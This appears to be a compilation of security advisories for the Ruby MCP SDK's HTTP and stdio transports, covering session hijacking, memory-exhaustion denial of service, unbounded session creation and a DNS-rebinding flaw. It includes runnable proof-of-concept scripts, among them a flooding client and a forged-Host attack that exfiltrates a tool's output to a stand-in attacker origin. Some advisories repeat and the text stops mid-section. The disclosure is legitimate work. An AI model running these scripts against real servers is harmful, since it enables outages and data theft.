mcp

Summary

Vulnerability: Missing Session Ownership Validation in the Ruby MCP SDK's Streamable and SSE HTTP transport implementation. Any attacker with a stolen session ID can execute tools with the victim's session. This is a silent attack - the victim's session is compromised and being used for unauthorized actions, but it is hard to know for the victim

Details

https://github.com/modelcontextprotocol/ruby-sdk/blob/main/lib/mcp/server/transports/streamable_http_transport.rb#L260-L278

Victim starts a legitimate MCP session and receives session ID abc-123 Attacker obtains the session ID (various means - network sniffing, logs, etc. out of scope for this analysis) Attacker sends POST to /messages/abc-123 with a tool call Server accepts the request (no ownership validation!) Server executes the tool and sends response to victim's SSE stream Victim receives attacker's response, thinking it's legitimate

PoC

attacker_client.py legitimate_client.py

Prerequisites

1. Python 3.8+
2. Install dependencies: requests

Running the Demo

1. Terminal 1: Start the Ruby MCP Server

ruby streamable_http_server.rb

Makes use of https://github.com/modelcontextprotocol/ruby-sdk/blob/main/examples/streamable_http_server.rb This server has a tool call notification_tool which the clients call

2. Terminal 2: Start Victim Client

python3 legitimate_client.py

3. Terminal 3 - Attacker Client:

Copy the session ID from Terminal 1 and run:

python3 attacker_client.py abc-123-def-456

4. Back to Terminal 2 - Victim sees the injected response:

Impact

• Integrity: HIGH - Attacker can execute unauthorized tools and modify state
• Availability: LOW - Attacker can disrupt victim's session with injected responses

Additional Details

Session Hijacking Protection in MCP Implementations

The MCP specification recommends - "MCP servers SHOULD bind session IDs to user-specific information".

User Binding - Comparison other SDKs

csharp-sdk

• https://github.com/modelcontextprotocol/csharp-sdk/blob/main/src/ModelContextProtocol.AspNetCore/SseHandler.cs#L36
• https://github.com/modelcontextprotocol/csharp-sdk/blob/main/src/ModelContextProtocol.AspNetCore/SseHandler.cs#L95-L98

Go-sdk

• https://github.com/modelcontextprotocol/go-sdk/blob/main/mcp/streamable.go#L66
• https://github.com/modelcontextprotocol/go-sdk/blob/main/mcp/streamable.go#L316-L320

Comparison with the Stream Replacement vulnerability

Stream Replacement https://github.com/modelcontextprotocol/ruby-sdk/security/advisories/GHSA-qvqr-5cv7-wh35

• Target: SSE stream connection
• Attack Vector: GET /mcp
• What happens to Victim: The connection is disconnected and doesn't receive reponses

Session Poisoning

• Target: Tool execution
• Attack Vector: POST /mcp
• What happens to Victim: The connection stays connected and receives responses of tool calls by attacker

Summary

An unauthenticated remote attacker can force any MCP Ruby SDK server using MCP::Server::Transports::StreamableHTTPTransport to allocate gigabytes of memory by sending a single oversized JSON-RPC POST. The transport reads the entire HTTP body into a Ruby String and parses it with JSON.parse(body, symbolize_names: true) with no size limit, no Content-Length pre-check, and no streaming parser, allowing trivial denial of service against the worker process.

Affected component

lib/mcp/server/transports/streamable_http_transport.rb, method handle_post:

• Line 341: body_string = request.body.read — reads the full HTTP body into memory with no upper bound.
• Lines 531–535: JSON.parse(body_string, symbolize_names: true) — fully materialises the parsed object graph; with symbolize_names: true every JSON key also allocates a Ruby symbol.

The vulnerable path runs before session validation, so it is reachable in both the default stateful mode and in stateless: true mode, without an Mcp-Session-Id header and without any prior authentication.

A second instance of the same root cause exists in lib/mcp/server/transports/stdio_transport.rb:23 ($stdin.gets with no limit: argument). The practical impact there is limited because the stdio peer is normally a trusted parent process, but the fix should cover both transports.

Proof of concept

Both files below are self-contained. Save them anywhere on disk, run the server in one terminal and the client in another. The only dependencies are the SDK's existing Gemfile entries (rack ~> 3.2, rackup >= 2.1.0, webrick ~> 1.9) and Python's standard library.

Server (oom_poc_server.rb)

require "bundler/setup"
require "mcp"
require "mcp/server/transports/streamable_http_transport"
require "rackup"
require "webrick"
require "rackup/handler/webrick"

server = MCP::Server.new(name: "oom-poc-target", tools: [])
transport = MCP::Server::Transports::StreamableHTTPTransport.new(
  server, stateless: true, enable_json_response: true,
)

Thread.new do
  loop do
    rss_mb = `ps -o rss= -p #{Process.pid}`.to_i / 1024
    STDERR.puts("[mem] PID=#{Process.pid} RSS=#{rss_mb} MB")
    sleep 2
  end
end

STDERR.puts("[poc] listening on http://127.0.0.1:9293/")
Rackup::Handler::WEBrick.run(
  transport,
  Host: "127.0.0.1", Port: 9293,
  AccessLog: [], Logger: WEBrick::Log.new(File::NULL),
)

Client (oom_poc_client.py)

import socket

HOST, PORT, PAYLOAD_MB = "127.0.0.1", 9293, 512

inner = b"A" * (PAYLOAD_MB * 1024 * 1024 - 64)
body  = b'{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"x":"' + inner + b'"}}'

headers = (
    f"POST / HTTP/1.1\r\nHost: {HOST}:{PORT}\r\n"
    f"Content-Type: application/json\r\n"
    f"Accept: application/json, text/event-stream\r\n"
    f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n"
).encode()

s = socket.create_connection((HOST, PORT), timeout=120)
s.sendall(headers)
for i in range(0, len(body), 1 << 20):
    s.sendall(body[i:i + (1 << 20)])
print(f"sent {PAYLOAD_MB} MB")
try:
    print("recv:", s.recv(2048)[:200])
except OSError as e:
    print("server unresponsive:", e)

Reproduction commands

bundle install
ruby oom_poc_server.rb              # terminal A
python3 oom_poc_client.py           # terminal B

Observed result

Tested on macOS, Ruby 3.2.4 (rbenv), against the SDK's main branch with rack 3.2.6 / rackup 2.3.1 / webrick 1.9.2:

[mem] PID=61394 RSS=44   MB        # idle baseline
[mem] PID=61394 RSS=44   MB
[mem] PID=61394 RSS=44   MB
[mem] PID=61394 RSS=1663 MB        # immediately after one 512 MB POST
[mem] PID=61394 RSS=1663 MB        # memory not released
[mem] PID=61394 RSS=1663 MB

A single unauthenticated POST grew the worker's RSS from 44 MB to 1.66 GB (~37× amplification). On any deployment with a per-worker memory cap at or below ~2 GB, the same request OOM-kills the worker.

Impact

• Attacker requirements: none beyond TCP reach of the MCP endpoint. No session, no credentials, no prior interaction.
• Effect: memory-exhaustion denial of service. A single request can take a worker offline; sustained low-rate requests keep the service down across worker restarts. On multi-tenant deployments a single attacker tenant can starve neighbours.
• Affected deployments: every server mounting MCP::Server::Transports::StreamableHTTPTransport as a Rack app — the canonical HTTP deployment pattern. Both stateful and stateless: true configurations are affected.

Suggested mitigation

1. Reject requests whose Content-Length (or actual read length) exceeds a configurable threshold (e.g. 4 MiB by default) before calling request.body.read.
2. Use a streaming JSON parser, or pass max_nesting: plus a hard byte cap to JSON.parse.
3. Apply the same limit: argument to $stdin.gets in StdioTransport for defence in depth.

Summary

In its default configuration, MCP::Server::Transports::StreamableHTTPTransport never expires sessions. Every successful initialize request stores a new ServerSession and a session record under a fresh UUID, and the only path that removes them is an explicit client-issued HTTP DELETE. An unauthenticated attacker can repeatedly initialize new sessions and immediately disconnect, forcing the server to retain an unbounded number of ServerSession objects until memory is exhausted.

Affected component

lib/mcp/server/transports/streamable_http_transport.rb:

• Line 27, constructor: def initialize(server, stateless: false, enable_json_response: false, session_idle_timeout: nil) — the default for session_idle_timeout is nil.
• Line 46: start_reaper_thread if @session_idle_timeout — when the timeout is nil, the reaper that prunes idle sessions is never started.
• Lines 604–643 (handle_initialization): every successful initialize inserts a new session record; the only removal sites are handle_delete (client-controlled) and stream-error paths.

The project README acknowledges the insecure default (line 1605):

By default, sessions do not expire. To mitigate session hijacking risks, you can set a session_idle_timeout (in seconds).

Per-session memory cost is non-trivial: each entry contains a ServerSession instance (with its own Mutex, @in_flight hash, capabilities hash, and server reference), a top-level hash entry under the session UUID, and per-pending-request Queue allocations.

Proof of concept

Server (session_poc_server.rb)

Starts the transport in its default configuration (no session_idle_timeout) and reports the in-memory session count plus process RSS every two seconds.

require "bundler/setup"
require "mcp"
require "mcp/server/transports/streamable_http_transport"
require "rackup"
require "webrick"
require "rackup/handler/webrick"

server = MCP::Server.new(name: "session-poc-target", tools: [])
transport = MCP::Server::Transports::StreamableHTTPTransport.new(server)

Thread.new do
  loop do
    sessions = transport.instance_variable_get(:@sessions)
    count = sessions ? sessions.size : 0
    rss_mb = `ps -o rss= -p #{Process.pid}`.to_i / 1024
    STDERR.puts("[mem] sessions=#{count}  RSS=#{rss_mb} MB")
    sleep 2
  end
end

STDERR.puts("[poc] listening on http://127.0.0.1:9295/")
Rackup::Handler::WEBrick.run(
  transport,
  Host: "127.0.0.1", Port: 9295,
  AccessLog: [], Logger: WEBrick::Log.new(File::NULL),
)

Client (session_poc_client.py)

import concurrent.futures, json, socket, time

HOST, PORT = "127.0.0.1", 9295
TOTAL, WORKERS = 50_000, 32

INIT = json.dumps({
    "jsonrpc": "2.0", "id": 1, "method": "initialize",
    "params": {"protocolVersion": "2025-11-25", "capabilities": {},
               "clientInfo": {"name": "flooder", "version": "1.0"}}
}).encode()

REQ = (
    f"POST / HTTP/1.1\r\nHost: {HOST}:{PORT}\r\n"
    f"Content-Type: application/json\r\n"
    f"Accept: application/json, text/event-stream\r\n"
    f"Content-Length: {len(INIT)}\r\nConnection: close\r\n\r\n"
).encode() + INIT

def one():
    try:
        s = socket.create_connection((HOST, PORT), timeout=5)
        s.sendall(REQ)
        data = b""
        while True:
            c = s.recv(8192)
            if not c: break
            data += c
        s.close()
        return b"mcp-session-id" in data.lower()
    except OSError:
        return False

start = time.time()
created = 0
with concurrent.futures.ThreadPoolExecutor(max_workers=WORKERS) as ex:
    futs = [ex.submit(one) for _ in range(TOTAL)]
    for i, f in enumerate(concurrent.futures.as_completed(futs), 1):
        if f.result():
            created += 1
        if i % 1000 == 0:
            print(f"[poc] dispatched {i} reqs, {created} sessions confirmed, "
                  f"elapsed {time.time() - start:.1f}s")

print(f"[poc] done. {created}/{TOTAL} sessions confirmed in "
      f"{time.time() - start:.1f}s")

Reproduction commands

bundle install
ruby session_poc_server.rb          # terminal A
python3 session_poc_client.py       # terminal B

Observed result

Tested on macOS, Ruby 3.2.4, against the SDK's main branch.

Server terminal:

[mem] sessions=0      RSS=45  MB
[mem] sessions=2605   RSS=56  MB
[mem] sessions=11587  RSS=72  MB
[mem] sessions=23119  RSS=85  MB
[mem] sessions=34391  RSS=119 MB
[mem] sessions=45325  RSS=128 MB
[mem] sessions=50000  RSS=154 MB
[mem] sessions=50000  RSS=152 MB
[mem] sessions=50000  RSS=152 MB
[mem] sessions=50000  RSS=152 MB     # plateau persists indefinitely

Client terminal:

[poc] dispatched 50000 reqs, 50000 sessions confirmed, elapsed 26.6s
[poc] done. 50000/50000 sessions confirmed in 26.6s

50,000 unique sessions are created and retained in 26.6 seconds from a single client. The session count remains pinned at 50,000 indefinitely, confirming that no reaper exists to free the records. Scaling the attack linearly (multiple clients, larger client-capability payloads, longer runtime) drives RSS until the worker is OOM-killed.

Impact

• Attacker requirements: unauthenticated TCP reach of the MCP endpoint. No session, no credentials.
• Effect: memory-exhaustion denial of service. A sustained or distributed attacker can OOM the worker; on services that recycle workers, the attacker simply repeats. On multi-tenant gateways, one tenant can starve all others.
• Affected deployments: every deployment that does not opt into session_idle_timeout. Because the README presents this as an opt-in mitigation rather than a default, real-world deployments are likely to ship vulnerable.

Suggested mitigation

1. Change the default of session_idle_timeout to a finite value (e.g. 30 minutes) and document the change as a security default.
2. Add a max_sessions: constructor option; reject initialize with HTTP 503 once the cap is reached.
3. Track the time of the initialize POST separately from later request activity, and evict sessions whose GET SSE stream is never attached within N seconds.

Summary

The stdio transports in MCP::Server::Transports::StdioTransport and MCP::Client::Stdio read newline-delimited JSON-RPC frames using IO#gets with no limit argument. CRuby's IO#gets with no limit reads from the current position until the next separator (\n) with no upper bound on the returned string length. A peer that streams bytes without ever emitting a newline causes gets to accumulate the entire stream in a single Ruby String until the process is killed by the operating-system OOM killer.

This is the same vulnerability class tracked in sibling MCP SDKs as GHSA-74gp-qhv5-v493 (Kotlin), GHSA-wqgc-pwpr-pq7r (TypeScript), GHSA-655q-2283-6jgj (Python), and others. It was identified during a cross-SDK audit; ruby-sdk had no prior report.

Affected code

Verified at main @ cf44475c.

Server transport — lib/mcp/server/transports/stdio_transport.rb

# line 23
while @open && (line = $stdin.gets)        # <-- no limit argument
  response = @session.handle_json(line.strip)
  ...

# line 76
while @open && (line = $stdin.gets)        # <-- no limit argument
  begin
    parsed = JSON.parse(line.strip, symbolize_names: true)

$stdin is the raw process global (only set_encoding is applied at line 16); there is no wrapper imposing a length limit.

Client transport — lib/mcp/client/stdio.rb

# line 150
@stdin, @stdout, @stderr, @wait_thread = Open3.popen3(spawn_env, @command, *@args)

# line 228
line = @stdout.gets                         # <-- no limit argument
raise_connection_error!(method, params) if line.nil?
parsed = JSON.parse(line.strip)

@stdout is the raw IO returned by Open3.popen3. The @read_timeout guard at line 227 (wait_for_readable!) only gates the IO.select before gets is invoked; once bytes are flowing, gets blocks indefinitely accumulating into one string.

Impact

Denial of service via memory exhaustion. A peer that controls the byte stream delivered to the stdio transport can grow a single Ruby String until the process exhausts available memory.

Threat-model caveat (important): In the default stdio deployment, the peer process already holds local execution privileges equal to or greater than the victim:

• On the server side (StdioTransport#open), the writer to $stdin is the parent process that spawned the server, which already holds Process.kill, environment control, and filesystem access over the child. This direction is a robustness defect rather than a security boundary in typical deployments.
• On the client side (Client::Stdio#read_response), the writer is the third-party MCP server binary the host application chose to spawn via Open3.popen3. In an unsandboxed deployment that binary already has local code execution as the host user.

This issue is primarily a security concern for:

• (a) host applications that sandbox the spawned MCP server (container, restricted user, seccomp) while piping its stdout to an unsandboxed host process — an unbounded gets lets a memory-capped sandboxed process exhaust the unconstrained host;
• (b) HTTP-to-stdio bridge deployments that forward bytes from a remote peer to a stdio server's stdin (note: surveyed bridges re-frame JSON-RPC and emit their own newlines, mitigating this in practice);
• (c) robustness against non-malicious servers that emit large unterminated output (misconfigured logging to stdout, runaway loops), which can crash the host process and all other MCP sessions it manages.

The bug fires before the JSON-RPC initialize handshake, since gets cannot return until \n arrives.

Reproduction

# poc_ruby_stdio_oom.rb — drives the real client transport against a producer that never emits \n
require "mcp/client/stdio"

# `yes` writes "y\n" — instead use a producer that never sends \n:
producer = %q{ruby -e 'STDOUT.sync=true; loop { print "A" * 65536 }'}

client = MCP::Client::Stdio.new(command: "bash", args: ["-c", producer])
client.start
# any request triggers read_response → @stdout.gets → unbounded String growth
client.send_request(method: "initialize", params: {})

Observed: process RSS grows linearly with bytes produced; gets never returns; process is OOM-killed.

Suggested fix

IO#gets accepts a second limit argument. Apply a configurable maximum line length (default suggested: 4 MiB — large enough for any realistic JSON-RPC frame including base64-embedded images) at all three call sites, and treat an over-limit line as a transport error that closes the connection:

MAX_LINE_BYTES = 4 * 1024 * 1024

while @open && (line = $stdin.gets("\n", MAX_LINE_BYTES))
  unless line.end_with?("\n")
    # gets returned because the limit was hit, not because a newline arrived
    raise MCP::TransportError, "stdio frame exceeds #{MAX_LINE_BYTES} bytes without newline"
  end
  ...
end

Apply the same pattern at stdio_transport.rb:76 and client/stdio.rb:228. Expose MAX_LINE_BYTES as a constructor option on both transports for callers with legitimate large-frame needs.

Credit

Identified during a cross-SDK audit of the stdio unbounded-buffer vulnerability class, prompted by GHSA-74gp-qhv5-v493 (reporter: tonghuaroot).

Summary

MCP::Server::Transports::StreamableHTTPTransport (the Rack-mountable Streamable HTTP transport in the mcp gem) processes every incoming JSON-RPC request without ever inspecting the HTTP Host or Origin request headers. There is no AllowedHosts/AllowedOrigins allowlist and no DNS-rebinding guard anywhere in the transport. A local MCP server that binds a loopback or LAN HTTP port is therefore reachable by any web origin a victim's browser visits, via a DNS-rebinding attack: a malicious page rebinds its own hostname to 127.0.0.1, then drives the local MCP server cross-origin to enumerate and invoke its tools and exfiltrate their output. This is the standard browser-driven local-service attack that the MCP Streamable HTTP guidance exists to prevent.

Impact

• An attacker who can get a victim to open a web page can reach any MCP server the victim runs locally over the Streamable HTTP transport (e.g. a developer-tools or filesystem MCP server on localhost).
• Because the transport issues a session and dispatches tools/list / tools/call from a foreign Host/Origin with no rejection, the attacker can drive arbitrary server-exposed tools and read their results, exfiltrating local data (files, secrets, command output) to the attacker's origin.
• The blast radius is whatever the locally-running MCP server exposes. For MCP servers wired to filesystem, shell, or credential tools, this is sensitive-data disclosure and, depending on the tool set, local action execution.

Vulnerable code

File: lib/mcp/server/transports/streamable_http_transport.rb (gem mcp 0.18.0).

The Rack entrypoint and POST handler validate Accept, Content-Type, Mcp-Session-Id, and Mcp-Protocol-Version, but never Host or Origin:

# call(env) -> handle_request(Rack::Request.new(env))  (line 56)
def handle_post(request)
  required_types = @enable_json_response ? REQUIRED_POST_ACCEPT_TYPES_JSON : REQUIRED_POST_ACCEPT_TYPES_SSE
  accept_error = validate_accept_header(request, required_types)   # line 335 - checks Accept only
  return accept_error if accept_error

  content_type_error = validate_content_type(request)             # line 338 - checks Content-Type only
  return content_type_error if content_type_error

  body_string = request.body.read
  session_id = extract_session_id(request)                        # line 342 - reads HTTP_MCP_SESSION_ID

No statement anywhere in handle_post, handle_request, or any helper reads request.env["HTTP_HOST"] or request.env["HTTP_ORIGIN"].

The only request-env reads in the whole class are:

• extract_session_id -> request.env["HTTP_MCP_SESSION_ID"] (line 489)
• validate_accept_header -> request.env["HTTP_ACCEPT"] (line 493)
• validate_content_type -> request.env["CONTENT_TYPE"] (line 512)
• validate_protocol_version_header -> request.env["HTTP_MCP_PROTOCOL_VERSION"] (line 546)

A repository-wide search of lib/ for HTTP_HOST, HTTP_ORIGIN, allowed_host, allowed_origin, rebind, or dns.rebind returns zero matches, confirming no allowlist or rebinding guard exists in the shipped library. The examples/ tree mounts Rack::Cors as application-level middleware, but that is example glue, not a transport-level control, and CORS does not stop a DNS-rebinding attack that arrives as a same-origin request after rebinding.

How the input reaches the sink (attack scenario)

1. A developer runs an MCP server over StreamableHTTPTransport, mounted as a Rack app on a local HTTP port (loopback or LAN).
2. The victim opens http://evil.attacker.com in a browser. The page resolves to the attacker's server, which then re-answers DNS for evil.attacker.com with 127.0.0.1 (DNS rebinding). The browser now treats requests to evil.attacker.com as going to the local MCP server, with Host: evil.attacker.com / Origin: http://evil.attacker.com.
3. The page POSTs an initialize request. The transport accepts it (it never looks at Host/Origin), creates a session, and returns Mcp-Session-Id.
4. The page then POSTs tools/call, and the transport executes the server's tool and returns its output to the foreign origin. Local data is exfiltrated.

Proof of concept (end-to-end reproduction)

Run against the real released gem mcp 0.18.0 (no stubs). The script builds an MCP::Server with a tool that returns sensitive local data, instantiates the real StreamableHTTPTransport, and drives it with Rack::Request env hashes carrying a forged Host/Origin. It then re-runs as a legitimate localhost client (negative control).

Install:

gem install mcp -v 0.18.0   # pulls addressable, json-schema, public_suffix
gem install rack            # required by StreamableHTTPTransport

PoC (poc_f1_dnsrebind.rb):

# frozen_string_literal: true
require "mcp"
require "rack"
require "json"
require "stringio"

puts "mcp gem version under test: #{MCP::VERSION}"
puts "transport source: #{MCP::Server::Transports::StreamableHTTPTransport.instance_method(:handle_post).source_location.inspect}"
puts

# A tool whose output is sensitive local data an attacker wants to exfiltrate.
secret_tool = MCP::Tool.define(name: "read_local_secret", description: "returns a local secret") do |*|
  MCP::Tool::Response.new([{ type: "text", text: "TOP-SECRET-LOCAL-DATA-9f3a" }])
end

server = MCP::Server.new(name: "poc_server", version: "1.0.0", tools: [secret_tool])
transport = MCP::Server::Transports::StreamableHTTPTransport.new(server)
PROTO = MCP::Configuration::SUPPORTED_STABLE_PROTOCOL_VERSIONS.last

def rack_post(transport, body_hash, host:, origin:, session_id: nil, proto: nil)
  body = JSON.generate(body_hash)
  env = {
    "REQUEST_METHOD" => "POST", "PATH_INFO" => "/",
    "HTTP_HOST"   => host,    # attacker-controlled Host (DNS-rebind primary vector)
    "HTTP_ORIGIN" => origin,  # attacker-controlled Origin (cross-origin browser vector)
    "HTTP_ACCEPT" => "application/json, text/event-stream",
    "CONTENT_TYPE" => "application/json",
    "rack.input" => StringIO.new(body), "CONTENT_LENGTH" => body.bytesize.to_s,
  }
  env["HTTP_MCP_SESSION_ID"] = session_id if session_id
  env["HTTP_MCP_PROTOCOL_VERSION"] = proto if proto
  status, headers, resp = transport.call(env)
  collected = +""
  if resp.respond_to?(:each)
    resp.each { |c| collected << c.to_s }
  elsif resp.respond_to?(:call)            # stateful tools/call returns an SSE-stream Proc body
    sink = Object.new
    sink.define_singleton_method(:write) { |s| collected << s.to_s }
    sink.define_singleton_method(:flush) {}
    sink.define_singleton_method(:close) {}
    resp.call(sink)
  end
  [status, headers, collected]
end

puts "========== ATTACK: forged Host: attacker.evil.com  Origin: http://evil.attacker.com =========="
init_body = { jsonrpc: "2.0", id: 1, method: "initialize",
  params: { protocolVersion: PROTO, capabilities: {}, clientInfo: { name: "evil-page", version: "1.0" } } }
status, headers, body = rack_post(transport, init_body, host: "attacker.evil.com", origin: "http://evil.attacker.com")
puts "[initialize] HTTP status      : #{status}"
puts "[initialize] Mcp-Session-Id   : #{headers["Mcp-Session-Id"].inspect}"
puts "[initialize] response body     : #{body}"
session = headers["Mcp-Session-Id"]

call_body = { jsonrpc: "2.0", id: 2, method: "tools/call",
  params: { name: "read_local_secret", arguments: {} } }
status2, _h2, body2 = rack_post(transport, call_body,
  host: "attacker.evil.com", origin: "http://evil.attacker.com", session_id: session, proto: PROTO)
puts "[tools/call] HTTP status       : #{status2}"
puts "[tools/call] response body      : #{body2}"
attack_ok = (status == 200 && session && status2 == 200 && body2.include?("TOP-SECRET-LOCAL-DATA-9f3a"))
puts
puts "ATTACK VERDICT: #{attack_ok ? "EXFILTRATED" : "blocked"} -- foreign Host/Origin obtained a session AND read the local secret with NO 403."
puts

puts "========== NEGATIVE CONTROL: legitimate Host: 127.0.0.1:8080  Origin: http://127.0.0.1:8080 =========="
status3, headers3, _b3 = rack_post(transport, init_body, host: "127.0.0.1:8080", origin: "http://127.0.0.1:8080")
puts "[initialize] HTTP status      : #{status3}"
puts "[initialize] Mcp-Session-Id   : #{headers3["Mcp-Session-Id"].inspect}"
puts
puts "CONTROL VERDICT: legitimate client also gets HTTP #{status3} + session -- transport applies the SAME (zero) Host/Origin policy to both."

Captured output (verbatim):

mcp gem version under test: 0.18.0
transport source: [".../gems/mcp-0.18.0/lib/mcp/server/transports/streamable_http_transport.rb", 333]

========== ATTACK: forged Host: attacker.evil.com  Origin: http://evil.attacker.com ==========
[initialize] HTTP status      : 200
[initialize] Mcp-Session-Id   : "d4fb30b4-b4ec-49a1-a58b-f4cc02bee64b"
[initialize] response body     : {"jsonrpc":"2.0","id":1,"result":{"protocolVersion":"2024-11-05","capabilities":{"tools":{"listChanged":true},"prompts":{"listChanged":true},"resources":{"listChanged":true},"logging":{}},"serverInfo":{"name":"poc_server","version":"1.0.0"}}}
[tools/call] HTTP status       : 200
[tools/call] response body      : data: {"jsonrpc":"2.0","id":2,"result":{"content":[{"type":"text","text":"TOP-SECRET-LOCAL-DATA-9f3a"}],"isError":false}}

ATTACK VERDICT: EXFILTRATED -- foreign Host/Origin obtained a session AND read the local secret with NO 403.

========== NEGATIVE CONTROL: legitimate Host: 127.0.0.1:8080  Origin: http://127.0.0.1:8080 ==========
[initialize] HTTP status      : 200
[initialize] Mcp-Session-Id   : "bf707a19-a22a-4ff2-aeae-62c20cd7141b"

CONTROL VERDICT: legitimate client also gets HTTP 200 + session -- transport applies the SAME (zero) Host/Origin policy to both.

The forged Host: attacker.evil.com / Origin: http://evil.attacker.com request obtained a valid session and exfiltrated the local secret (TOP-SECRET-LOCAL-DATA-9f3a) via tools/call, with the transport returning HTTP 200 throughout and never a 403. The negative control confirms the transport applies the identical (empty) policy to a legitimate localhost client, proving there is no Host/Origin discrimination at all.

Suggested fix

Add an opt-in but secure-by-default Host/Origin allowlist to StreamableHTTPTransport, mirroring the DNS-rebinding protection that the TypeScript, Python, Go, Rust, C#, and Java MCP SDKs already ship:

• Accept allowed_hosts: and allowed_origins: keyword arguments in initialize.
• In handle_request (before any dispatch), read request.env["HTTP_HOST"] and request.env["HTTP_ORIGIN"]. If an allowlist is configured and the value is not on it, return 403 Forbidden.
• Default to allowing only loopback hosts (127.0.0.1, [::1], localhost) and an empty/absent Origin, so a stock local deployment is protected against rebinding out of the box while same-process and same-host clients keep working. Document how to widen the allowlist for non-loopback deployments.

A concrete patch adds an AllowedHostsValidation check invoked at the top of handle_request. See the Fix PR.

Fix PR

A fix PR implementing the Host/Origin allowlist with a secure loopback default is open against this advisory's private temporary fork: https://github.com/modelcontextprotocol/ruby-sdk-ghsa-rjr6-rcgv-9m7m/pull/1 . With the patch loaded, the forged-Host request is rejected with 403 ({"error":"Forbidden: Host not allowed (DNS-rebinding protection)"}) while a legitimate loopback Host: 127.0.0.1:8080 request is still served (HTTP 200, session issued).

Credit

Reported by tonghuaroot.

Reporter notes

This issue was found by source review of the mcp gem's Streamable HTTP transport and confirmed end-to-end against the released gem mcp 0.18.0 as shown above. It is reported independently on its own merits.

Summary

Vulnerability: Missing Session Ownership Validation in the Ruby MCP SDK's Streamable and SSE HTTP transport implementation. Any attacker with a stolen session ID can execute tools with the victim's session. This is a silent attack - the victim's session is compromised and being used for unauthorized actions, but it is hard to know for the victim

Details

https://github.com/modelcontextprotocol/ruby-sdk/blob/main/lib/mcp/server/transports/streamable_http_transport.rb#L260-L278

Victim starts a legitimate MCP session and receives session ID abc-123 Attacker obtains the session ID (various means - network sniffing, logs, etc. out of scope for this analysis) Attacker sends POST to /messages/abc-123 with a tool call Server accepts the request (no ownership validation!) Server executes the tool and sends response to victim's SSE stream Victim receives attacker's response, thinking it's legitimate

PoC

attacker_client.py legitimate_client.py

Prerequisites

1. Python 3.8+
2. Install dependencies: requests

Running the Demo

1. Terminal 1: Start the Ruby MCP Server

ruby streamable_http_server.rb

Makes use of https://github.com/modelcontextprotocol/ruby-sdk/blob/main/examples/streamable_http_server.rb This server has a tool call notification_tool which the clients call

2. Terminal 2: Start Victim Client

python3 legitimate_client.py

3. Terminal 3 - Attacker Client:

Copy the session ID from Terminal 1 and run:

python3 attacker_client.py abc-123-def-456

4. Back to Terminal 2 - Victim sees the injected response:

Impact

• Integrity: HIGH - Attacker can execute unauthorized tools and modify state
• Availability: LOW - Attacker can disrupt victim's session with injected responses

Additional Details

Session Hijacking Protection in MCP Implementations

The MCP specification recommends - "MCP servers SHOULD bind session IDs to user-specific information".

User Binding - Comparison other SDKs

csharp-sdk

• https://github.com/modelcontextprotocol/csharp-sdk/blob/main/src/ModelContextProtocol.AspNetCore/SseHandler.cs#L36
• https://github.com/modelcontextprotocol/csharp-sdk/blob/main/src/ModelContextProtocol.AspNetCore/SseHandler.cs#L95-L98

Go-sdk

• https://github.com/modelcontextprotocol/go-sdk/blob/main/mcp/streamable.go#L66
• https://github.com/modelcontextprotocol/go-sdk/blob/main/mcp/streamable.go#L316-L320

Comparison with the Stream Replacement vulnerability

Stream Replacement https://github.com/modelcontextprotocol/ruby-sdk/security/advisories/GHSA-qvqr-5cv7-wh35

• Target: SSE stream connection
• Attack Vector: GET /mcp
• What happens to Victim: The connection is disconnected and doesn't receive reponses

Session Poisoning

• Target: Tool execution
• Attack Vector: POST /mcp
• What happens to Victim: The connection stays connected and receives responses of tool calls by attacker

Summary

An unauthenticated remote attacker can force any MCP Ruby SDK server using MCP::Server::Transports::StreamableHTTPTransport to allocate gigabytes of memory by sending a single oversized JSON-RPC POST. The transport reads the entire HTTP body into a Ruby String and parses it with JSON.parse(body, symbolize_names: true) with no size limit, no Content-Length pre-check, and no streaming parser, allowing trivial denial of service against the worker process.

Affected component

lib/mcp/server/transports/streamable_http_transport.rb, method handle_post:

• Line 341: body_string = request.body.read — reads the full HTTP body into memory with no upper bound.
• Lines 531–535: JSON.parse(body_string, symbolize_names: true) — fully materialises the parsed object graph; with symbolize_names: true every JSON key also allocates a Ruby symbol.

The vulnerable path runs before session validation, so it is reachable in both the default stateful mode and in stateless: true mode, without an Mcp-Session-Id header and without any prior authentication.

A second instance of the same root cause exists in lib/mcp/server/transports/stdio_transport.rb:23 ($stdin.gets with no limit: argument). The practical impact there is limited because the stdio peer is normally a trusted parent process, but the fix should cover both transports.

Proof of concept

Both files below are self-contained. Save them anywhere on disk, run the server in one terminal and the client in another. The only dependencies are the SDK's existing Gemfile entries (rack ~> 3.2, rackup >= 2.1.0, webrick ~> 1.9) and Python's standard library.

Server (oom_poc_server.rb)

require "bundler/setup"
require "mcp"
require "mcp/server/transports/streamable_http_transport"
require "rackup"
require "webrick"
require "rackup/handler/webrick"

server = MCP::Server.new(name: "oom-poc-target", tools: [])
transport = MCP::Server::Transports::StreamableHTTPTransport.new(
  server, stateless: true, enable_json_response: true,
)

Thread.new do
  loop do
    rss_mb = `ps -o rss= -p #{Process.pid}`.to_i / 1024
    STDERR.puts("[mem] PID=#{Process.pid} RSS=#{rss_mb} MB")
    sleep 2
  end
end

STDERR.puts("[poc] listening on http://127.0.0.1:9293/")
Rackup::Handler::WEBrick.run(
  transport,
  Host: "127.0.0.1", Port: 9293,
  AccessLog: [], Logger: WEBrick::Log.new(File::NULL),
)

Client (oom_poc_client.py)

import socket

HOST, PORT, PAYLOAD_MB = "127.0.0.1", 9293, 512

inner = b"A" * (PAYLOAD_MB * 1024 * 1024 - 64)
body  = b'{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"x":"' + inner + b'"}}'

headers = (
    f"POST / HTTP/1.1\r\nHost: {HOST}:{PORT}\r\n"
    f"Content-Type: application/json\r\n"
    f"Accept: application/json, text/event-stream\r\n"
    f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n"
).encode()

s = socket.create_connection((HOST, PORT), timeout=120)
s.sendall(headers)
for i in range(0, len(body), 1 << 20):
    s.sendall(body[i:i + (1 << 20)])
print(f"sent {PAYLOAD_MB} MB")
try:
    print("recv:", s.recv(2048)[:200])
except OSError as e:
    print("server unresponsive:", e)

Reproduction commands

bundle install
ruby oom_poc_server.rb              # terminal A
python3 oom_poc_client.py           # terminal B

Observed result

Tested on macOS, Ruby 3.2.4 (rbenv), against the SDK's main branch with rack 3.2.6 / rackup 2.3.1 / webrick 1.9.2:

